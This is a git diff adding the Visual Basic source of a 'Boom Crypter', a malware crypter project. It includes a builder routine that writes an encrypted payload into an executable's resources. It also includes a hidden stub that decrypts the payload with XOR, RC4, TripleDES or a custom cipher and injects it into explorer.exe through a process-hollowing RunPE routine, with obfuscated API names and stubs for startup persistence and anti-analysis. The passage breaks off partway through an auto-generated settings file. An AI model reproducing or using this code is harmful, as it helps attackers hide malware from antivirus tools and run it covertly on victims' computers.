GCHandleType.Pinned) + Dim ptr As IntPtr + Try + ptr = h.AddrOfPinnedObject() + Finally + h.Free() + End Try + Return ptr + + End Function + + _ + Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean + End Function + _ + Private Function BeginUpdateResource(ByVal pFileName As String, ByVal bDeleteExistingResources As Boolean) As IntPtr + End Function + _ + Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean + End Function + + Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean + + Try + Dim handle As IntPtr = BeginUpdateResource(filename, False) + Dim file1 As Byte() = bytes + Dim fileptr As IntPtr = ToPtr(file1) + Dim res As Boolean = UpdateResource(handle, "RT_RCDATA", "0", 0, fileptr, Convert.ToUInt32(file1.Length)) + EndUpdateResource(handle, False) + Catch ex As Exception + Return False + End Try + Return True + + End Function +End Module diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/app.config b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/app.config new file mode 100644 index 0000000..8d4e2b1 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (Boom Crypter Source/Boom1/Boom1.sln b/scode (Boom Crypter Source/Boom1/Boom1.sln new file mode 100644 index 0000000..55e70be --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Gogoli", "Boom1\Gogoli.vbproj", "{04948AEE-0826-4249-AB54-4B43E3A3EE47}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {04948AEE-0826-4249-AB54-4B43E3A3EE47}.Debug|x86.ActiveCfg = Debug|x86 + {04948AEE-0826-4249-AB54-4B43E3A3EE47}.Debug|x86.Build.0 = Debug|x86 + {04948AEE-0826-4249-AB54-4B43E3A3EE47}.Release|x86.ActiveCfg = Release|x86 + {04948AEE-0826-4249-AB54-4B43E3A3EE47}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Boom Crypter Source/Boom1/Boom1.suo b/scode (Boom Crypter Source/Boom1/Boom1.suo new file mode 100644 index 0000000..6a08598 Binary files /dev/null and b/scode (Boom Crypter Source/Boom1/Boom1.suo differ diff --git a/scode (Boom Crypter Source/Boom1/Boom1/1308752753_bomb-explosive-icon.ico b/scode (Boom Crypter Source/Boom1/Boom1/1308752753_bomb-explosive-icon.ico new file mode 100644 index 0000000..94254f1 Binary files /dev/null and b/scode (Boom Crypter Source/Boom1/Boom1/1308752753_bomb-explosive-icon.ico differ diff --git a/scode (Boom Crypter Source/Boom1/Boom1/Form1.Designer.vb b/scode (Boom Crypter Source/Boom1/Boom1/Form1.Designer.vb new file mode 100644 index 0000000..7a2c428 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/Form1.Designer.vb @@ -0,0 +1,41 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.SuspendLayout() + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(46, 41) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form1" + Me.Opacity = 0.0R + Me.ShowIcon = False + Me.ShowInTaskbar = False + Me.ResumeLayout(False) + + End Sub + +End Class diff --git a/scode (Boom Crypter Source/Boom1/Boom1/Form1.resx b/scode (Boom Crypter Source/Boom1/Boom1/Form1.resx new file mode 100644 index 0000000..5ea0895 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom1/Boom1/Form1.vb b/scode (Boom Crypter Source/Boom1/Boom1/Form1.vb new file mode 100644 index 0000000..4552a72 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/Form1.vb @@ -0,0 +1,153 @@ +Imports System.Text +Imports System.Reflection +Imports System.Runtime.CompilerServices +Imports System.Security.Cryptography +Imports System.IO +Imports Microsoft.Win32 +Public Class Form1 + Const Kokrra = "JHqd2ed9" 'Filesplits + 'creating new instance for the runpe class + Public Shared Function DES(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String 'TripleDES + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = Convert.FromBase64String(b) + If d Then + Dim hashmd5 = New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(c) + End If + Dim tdes = New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + Dim cTransform As ICryptoTransform = tdes.CreateDecryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + Return UTF8Encoding.UTF8.GetString(resultArray) + End Function + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Dim getfile As Byte() = [X_x](Application.ExecutablePath) 'read resource + Dim FileAsString = Encoding.Default.GetString(getfile) + Dim Info() As String = Split(FileAsString, Kokrra) 'Filesplits + Dim views As String ' Info(1) + Dim custom As String = Info(2) 'custom encryption + Dim something As String = Info(3) ' custom encryption key + Dim fstart As String = Info(4) ' add server to startup + Dim hide1 As String = Info(5) ' hide executable after execution + Dim ant As String = Info(6) ' antis + If Info(4) = "True" Then ' If fstart = "True" | add server to startup + 'startup code here + End If + If Info(5) = "True" Then 'If hide1 = "True" | hide executable after execution + 'hide file here + End If + If Info(6) = "True" Then 'If ant = "True" | antis + 'antis here + End If + If custom = "Proto" Then 'If Custom(RadioButton1) = "XOR" | Xor Encryption | Else | RadiButton2(TripleDES Encryption) | + views = Encoding.Default.GetString(decrypt(Encoding.Default.GetBytes(Info(1)), something)) + ElseIf custom = "RC4" Then + views = Encoding.Default.GetString(RC4(Encoding.Default.GetBytes(Info(1)), Encoding.Default.GetBytes(something))) + ElseIf custom = "TripleDES" Then + views = DES(Info(1), something, True) + ElseIf custom = "XOR" Then + views = DXOR(Info(1), something, 8) + Else + views = PolyMorphicStairs.PolyDeCrypt(Info(1), something, 8) + End If + Dim afile As Byte() = Encoding.GetEncoding(1252).GetBytes(views) + Try + psrun.runexe(afile, ":\Windows\System32\explorer.exe") + Catch ex As Exception + End Try + End + End Sub + Private Function DXOR(ByVal input As String, ByVal key As String, ByVal amount As Integer) As String 'XOR Encryption + Dim b1, b2 As Byte() + b1 = System.Text.Encoding.Default.GetBytes(input) + b2 = System.Text.Encoding.Default.GetBytes(key) + For i = 0 To b1.Length - 1 + b1(i) = b1(i) Xor (b2(i Mod b2.Length) << (i + amount + b2.Length)) And 255 + Next + Return System.Text.Encoding.Default.GetString(b1) + End Function + Private Shared Function RC4(ByVal Input As Byte(), ByVal Key As Byte()) As Byte() 'RC4 Encryption + Dim i, j, swap As UInteger + Dim s As UInteger() = New UInteger(255) {} + Dim Output As Byte() = New Byte(Input.Length - 1) {} + For i = 0 To 255 + s(i) = i + Next + For i = 0 To 255 + j = (j + Key(i Mod Key.Length) + s(i)) And 255 + swap = s(i) 'Swapping of s(i) and s(j) + s(i) = s(j) + s(j) = swap + Next + i = 0 : j = 0 + For c = 0 To Output.Length - 1 + i = (i + 1) And 255 + j = (j + s(i)) And 255 + swap = s(i) 'Swapping of s(i) and s(j) + s(i) = s(j) + s(j) = swap + Output(c) = Input(c) Xor s((s(i) + s(j)) And 255) + Next + Return Output + End Function + + Class os 'Checking for 64bit + Public Shared Function is64Bit() As Boolean + If Not System.Environment.GetEnvironmentVariable("x86") = "" Then + Return True + Else + Return False + End If + End Function + End Class + Public Sub Reflect(ByVal Bytes As Byte()) 'Reflection(For .Net Files) + Dim Assembly As Reflection.Assembly = Assembly.Load(Bytes) + Dim entryPoint As MethodInfo = [Assembly].EntryPoint + Dim objectValue As Object = RuntimeHelpers.GetObjectValue([Assembly].CreateInstance(entryPoint.Name)) + entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}}) + End Sub + Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte() 'Proto Encryptions + Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password) + Dim rand1 As Integer = message(message.Length - 1) Xor 112 + Dim outarr(message.Length) As Byte + Dim u1 As Integer + For i1 As Integer = 0 To message.Length - 1 + outarr(i1) = (message(i1) Xor rand1) Xor passarr(u1) + If u1 = password.Length - 1 Then u1 = 0 Else u1 = u1 + 1 + Next + ReDim Preserve outarr(message.Length - 2) + Return outarr + End Function +End Class + +Public Class PolyMorphicStairs 'PolyStairs Encryption + Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyDeCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + Array.Resize(Data, Data.Length + 1) + Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255)) + For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1 + Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length) + Next + Return Data + End Function + Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + For i = 0 To (Data.Length - 1) * (ExtraRounds + 1) + Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256) + Next + Array.Resize(Data, Data.Length - 1) + Return Data + End Function +End Class diff --git a/scode (Boom Crypter Source/Boom1/Boom1/Gogoli.vbproj b/scode (Boom Crypter Source/Boom1/Boom1/Gogoli.vbproj new file mode 100644 index 0000000..725e041 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/Gogoli.vbproj @@ -0,0 +1,129 @@ + + + + Debug + x86 + + + 2.0 + {04948AEE-0826-4249-AB54-4B43E3A3EE47} + WinExe + Gogoli.My.MyApplication + Gogoli + Gogoli + 512 + WindowsForms + v2.0 + + + + + x86 + true + full + true + true + bin\Debug\ + Gogoli.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + Gogoli.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + 1308752753_bomb-explosive-icon.ico + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom1/Boom1/Gogoli.vbproj.user b/scode (Boom Crypter Source/Boom1/Boom1/Gogoli.vbproj.user new file mode 100644 index 0000000..695b5c7 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/Gogoli.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom1/Boom1/HJDuiwefihjd.vb b/scode (Boom Crypter Source/Boom1/Boom1/HJDuiwefihjd.vb new file mode 100644 index 0000000..07b3682 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/HJDuiwefihjd.vb @@ -0,0 +1,167 @@ +Imports System.Runtime.InteropServices +Imports System.Text + + + + +' Credits to: felicixus, pr0t0typ3 and aeonhack + +Public Class psrun + Public Class makeapi + Enum flagginglib As UInteger + DONT_RESOLVE_DLL_REFERENCES = &H1 + LOAD_IGNORE_CODE_AUTHZ_LEVEL = &H10 + LOAD_LIBRARY_AS_DATAFILE = &H2 + LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE = &H40 + LOAD_LIBRARY_AS_IMAGE_RESOURCE = &H20 + LOAD_WITH_ALTERED_SEARCH_PATH = &H8 + End Enum + Shared Function rc4(ByVal tgIdqYlTptZIYySGkIfl As String, ByVal hsvKghrWvMoOcupfKZXA As String) As String + Dim NAkhTayqmyFeznwXFsub As Integer = 0 + Dim SlGZgrJMHyawvBYVPHmH As Integer = hsvKghrWvMoOcupfKZXA.Length + Dim HVBCaKTKpREAVNDpYwhF As Integer() = New Integer(256) {} + Dim LunuMzlEYOzMEgSJWCJR As New StringBuilder + Dim ZfwwZXdWiJbOGhpfKUIY As Integer = 0 + Dim OazalfxhTnyTWJdrzWLi As Integer = 0 + Dim AKucfzcguranHHowPlYk As Integer = 0 + Dim DaLPwiLgsIoUrvVLOEXS As String = String.Empty + Dim ggIDcYNTbtUtqkRWBISB As Integer = 0 + Dim nPinkvyGjktTycrKexsh As Integer() = New Integer(256) {} + While NAkhTayqmyFeznwXFsub <= 255 + Dim uWPxdmnlqGXcUZAimogU As Char = (hsvKghrWvMoOcupfKZXA.Substring((NAkhTayqmyFeznwXFsub Mod SlGZgrJMHyawvBYVPHmH), 1).ToCharArray()(0)) + nPinkvyGjktTycrKexsh(NAkhTayqmyFeznwXFsub) = NAkhTayqmyFeznwXFsub + HVBCaKTKpREAVNDpYwhF(NAkhTayqmyFeznwXFsub) = Microsoft.VisualBasic.Strings.Asc(uWPxdmnlqGXcUZAimogU) + System.Math.Max(System.Threading.Interlocked.Increment(NAkhTayqmyFeznwXFsub), NAkhTayqmyFeznwXFsub - 1) + End While + While OazalfxhTnyTWJdrzWLi <= 255 + AKucfzcguranHHowPlYk = (AKucfzcguranHHowPlYk + nPinkvyGjktTycrKexsh(OazalfxhTnyTWJdrzWLi) + HVBCaKTKpREAVNDpYwhF(OazalfxhTnyTWJdrzWLi)) Mod 256 + Dim cUOouGVJrmnlqbipUhgw As Integer = nPinkvyGjktTycrKexsh(OazalfxhTnyTWJdrzWLi) + nPinkvyGjktTycrKexsh(OazalfxhTnyTWJdrzWLi) = nPinkvyGjktTycrKexsh(AKucfzcguranHHowPlYk) + nPinkvyGjktTycrKexsh(AKucfzcguranHHowPlYk) = cUOouGVJrmnlqbipUhgw + System.Math.Max(System.Threading.Interlocked.Increment(OazalfxhTnyTWJdrzWLi), OazalfxhTnyTWJdrzWLi - 1) + End While + NAkhTayqmyFeznwXFsub = 1 + While NAkhTayqmyFeznwXFsub <= tgIdqYlTptZIYySGkIfl.Length + Dim VxiyRYwVydGLxZPzGNII As Integer = 0 + ggIDcYNTbtUtqkRWBISB = (ggIDcYNTbtUtqkRWBISB + 1) Mod 256 + ZfwwZXdWiJbOGhpfKUIY = (ZfwwZXdWiJbOGhpfKUIY + nPinkvyGjktTycrKexsh(ggIDcYNTbtUtqkRWBISB)) Mod 256 + VxiyRYwVydGLxZPzGNII = nPinkvyGjktTycrKexsh(ggIDcYNTbtUtqkRWBISB) + nPinkvyGjktTycrKexsh(ggIDcYNTbtUtqkRWBISB) = nPinkvyGjktTycrKexsh(ZfwwZXdWiJbOGhpfKUIY) + nPinkvyGjktTycrKexsh(ZfwwZXdWiJbOGhpfKUIY) = VxiyRYwVydGLxZPzGNII + Dim mogUiHKshEsjxOqpddYH As Integer = nPinkvyGjktTycrKexsh((nPinkvyGjktTycrKexsh(ggIDcYNTbtUtqkRWBISB) + nPinkvyGjktTycrKexsh(ZfwwZXdWiJbOGhpfKUIY)) Mod 256) + Dim MECWMqRqoiWxXTFCSctu As Char = tgIdqYlTptZIYySGkIfl.Substring(NAkhTayqmyFeznwXFsub - 1, 1).ToCharArray()(0) + VxiyRYwVydGLxZPzGNII = Asc(MECWMqRqoiWxXTFCSctu) + Dim DSbyfPNYKemcORTEIrls As Integer = VxiyRYwVydGLxZPzGNII Xor mogUiHKshEsjxOqpddYH + LunuMzlEYOzMEgSJWCJR.Append(Chr(DSbyfPNYKemcORTEIrls)) + System.Math.Max(System.Threading.Interlocked.Increment(NAkhTayqmyFeznwXFsub), NAkhTayqmyFeznwXFsub - 1) + End While + DaLPwiLgsIoUrvVLOEXS = LunuMzlEYOzMEgSJWCJR.ToString + LunuMzlEYOzMEgSJWCJR.Length = 0 + Return DaLPwiLgsIoUrvVLOEXS + End Function + Declare Function LoadLibraryExA Lib "kernel32" (ByVal uno As String, ByVal due As IntPtr, ByVal cinque As flagginglib) As IntPtr + Declare Function GetProcAddress Lib "kernel32" (ByVal tre As IntPtr, ByVal quattro As String) As IntPtr + Shared Function makemake(Of obj)(ByVal plib As String, ByVal pfunc As String) As obj + Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryExA(plib, CType(0, IntPtr), flagginglib.LOAD_LIBRARY_AS_DATAFILE), pfunc), GetType(obj)), Object), obj) + End Function + End Class + + Delegate Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, ByVal inherit As Boolean, ByVal creation As Integer, _ + ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As Boolean + + + Delegate Function getthrcontx(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As Boolean + + + Delegate Function nunmpsctn(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger + + + Delegate Function rdprocssmr(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As Boolean + + + Delegate Function resmthrd(ByVal hThread As IntPtr) As UInteger + + + Delegate Function strthd(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As Boolean + + + Delegate Function vrtall(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr + + Public Shared Function runexe(ByVal pByteArray As Byte(), ByVal pProcess0Injectto As String) As Boolean + Try + Dim num2 As Integer = BitConverter.ToInt32(pByteArray, 60) + Dim resm As resmthrd = makeapi.makemake(Of resmthrd)("kernel32", "ResumeThread") + Dim processInfo As IntPtr() = New IntPtr(3) {} + Dim startupInfo As Byte() = New Byte(67) {} + + Dim crt As CreateProcess = makeapi.makemake(Of CreateProcess)("kernel32", makeapi.rc4("MŒuÖÈvÒö˜þe(„", "junkst")) + + + Dim num As Integer = BitConverter.ToInt16(pByteArray, num2 + 6) + Dim ptr4 As New IntPtr(BitConverter.ToInt32(pByteArray, num2 + &H54)) + Dim gettr As getthrcontx = makeapi.makemake(Of getthrcontx)(makeapi.rc4("p¨°Þ2dí", "pass1"), makeapi.rc4("\¨¶ä?2¾ÑÆ-f1©", "pass1")) + Dim procAttr As IntPtr = IntPtr.Zero + + + If crt(Nothing, New StringBuilder(pProcess0Injectto), procAttr, procAttr, False, 4, _ + procAttr, Nothing, startupInfo, processInfo) Then + Dim ctxt As UInteger() = New UInteger(178) {} + ctxt(0) = &H10002 + If gettr(processInfo(1), ctxt) Then + Dim baseAddr As New IntPtr(ctxt(&H29) + 8L) + + Dim buffer__1 As IntPtr = IntPtr.Zero + Dim bufferSize As New IntPtr(4) + + Dim numRead As IntPtr = IntPtr.Zero + Dim nunmap As nunmpsctn = makeapi.makemake(Of nunmpsctn)("ntdll", "NtUnmapViewOfSection") + Dim readprcsmmry As rdprocssmr = makeapi.makemake(Of rdprocssmr)("kernel32", makeapi.rc4("¥Õ lÕß‘Ò7ìâè·ÞîÕ", "pass")) + + If readprcsmmry(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (nunmap(processInfo(0), buffer__1) = 0) Then + Dim addr As New IntPtr(BitConverter.ToInt32(pByteArray, num2 + &H34)) + Dim size As New IntPtr(BitConverter.ToInt32(pByteArray, num2 + 80)) + Dim vrtal As vrtall = makeapi.makemake(Of vrtall)("kernel32", "VirtualAllocEx") + Dim lpBaseAddress As IntPtr = vrtal(processInfo(0), addr, size, &H3000, &H40) + + Dim lpNumberOfBytesWritten As Integer + Dim wrt As wrtproc = makeapi.makemake(Of wrtproc)("kernel32", makeapi.rc4("aúþìÍ;zä®º2mó¹ý", "junks")) + + wrt(processInfo(0), lpBaseAddress, pByteArray, CUInt(CInt(ptr4)), lpNumberOfBytesWritten) + Dim num5 As Integer = num - 1 + For i As Integer = 0 To num5 + Dim dst As Integer() = New Integer(9) {} + Buffer.BlockCopy(pByteArray, (num2 + &HF8) + (i * 40), dst, 0, 40) + Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {} + Buffer.BlockCopy(pByteArray, dst(5), buffer2, 0, buffer2.Length) + + size = New IntPtr(lpBaseAddress.ToInt32() + dst(3)) + addr = New IntPtr(buffer2.Length) + + wrt(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten) + Next + size = New IntPtr(ctxt(&H29) + 8L) + addr = New IntPtr(4) + + wrt(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten) + ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(pByteArray, num2 + 40)) + + Dim sethre As strthd = makeapi.makemake(Of strthd)("kernel32", "SetThreadContext") + + sethre(processInfo(1), ctxt) + End If + End If + + resm(processInfo(1)) + End If + Catch + Return False + End Try + Return True + End Function + + + Delegate Function wrtproc(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As Integer) As Boolean + + + +End Class \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/Application.Designer.vb b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Application.Designer.vb new file mode 100644 index 0000000..59cf1e8 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.235 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Gogoli.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/Application.myapp b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/AssemblyInfo.vb b/scode (Boom Crypter Source/Boom1/Boom1/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..d9c2ead --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/Resources.Designer.vb b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Resources.Designer.vb new file mode 100644 index 0000000..ac52eb2 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.235 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Gogoli.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/Resources.resx b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/Settings.Designer.vb b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Settings.Designer.vb new file mode 100644 index 0000000..2f1294d --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.235 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler 